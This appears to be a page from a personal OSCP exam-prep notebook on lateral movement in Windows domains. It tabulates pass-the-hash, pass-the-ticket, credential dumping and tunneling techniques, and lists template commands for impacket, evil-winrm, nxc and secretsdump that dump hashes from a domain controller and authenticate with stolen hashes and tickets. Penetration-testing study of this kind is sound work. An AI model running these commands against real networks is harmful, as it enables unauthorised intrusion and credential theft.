Pearson's OSCP Notebook

LatMovement

Properties1
tagspass-the-hash, pass-the-ticket, credential-dumping, mimikatz, impacket, tunneling, pivoting, lateral-movement

2 min read

Lateral Movement

External: Internal All The Things — Pass the Hash

Move from one compromised host/credential to others on the network.

Before moving: What artifact do you have? → Credential Graph (PtH? TGT? DCSync?)

📌 Techniques

TechniqueWhenTools
Pass-the-Hash (PtH)NTLM hash, no plaintextImpacket psexec/wmiexec, CrackMapExec - nxc, evil-winrm -H
Pass-the-Ticket (PtT).kirbi / .ccacheRubeus ptt · export KRB5CCNAME= · Impacket -k
Overpass-the-HashNTLM → Kerberos TGTRubeus · Mimikatz
Password reuseCleartext passwordnxcspray · Hydra · CrackMapExec - nxc spray · RunasCs on Windows shell
Browser saved loginsShell on user workstationFirefox Credentials - firefox_decrypt · nxc -M firefox
Credential dumpAdmin on boxLSASS · Mimikatz · secretsdump · CrackMapExec - nxc -M lsassy
Pivot / tunnelReach internal netsChisel · SSH Tunneling · Ligolo-ng · Tunneling

📌 Credential → Lateral Action

NTLM Hash     → PtH SMB/WinRM/WMI     → [[Remote Execution]]
TGT / TGS     → Kerberos auth         → [[Impacket]] -k -no-pass
Password      → Login + reuse         → [[nxcspray]] · [[evil-winrm]] · [[RunasCs]] · [[SSH]] · [[smbclient]]
KRBTGT        → Golden ticket         → [[Rubeus]] · domain-wide access
DCSync rights → Dump all hashes       → [[secretsdump]] → PtH everywhere
Local Admin   → Dump LSASS on host     → [[Mimikatz]] → more hashes

Full graph: Credential Graph

📌 Common Commands

# PtH — Impacket
impacket-wmiexec -hashes :NTLM_HASH domain/user@TARGET
impacket-psexec -hashes :NTLM_HASH domain/user@TARGET
 
# PtH — WinRM
evil-winrm -i TARGET -u user -H NTLM_HASH
 
# PtH — nxc
nxc smb TARGETS -u user -H NTLM_HASH --local-auth
nxc winrm TARGET -u user -H NTLM_HASH
 
# Remote dump
impacket-secretsdump domain/user:pass@DC_IP
impacket-secretsdump -hashes :HASH domain/user@DC_IP
 
# Kerberos ticket
export KRB5CCNAME=/path/to/admin.ccache
impacket-wmiexec -k -no-pass domain/admin@TARGET

📌 Pivot First?

If target is on another subnet → Tunneling before lateral movement:

  1. Chisel / SSH Tunneling / Ligolo-ng
  2. Update /etc/hosts / proxychains
  3. PtH / PtT to internal hosts

Graph View

Backlinks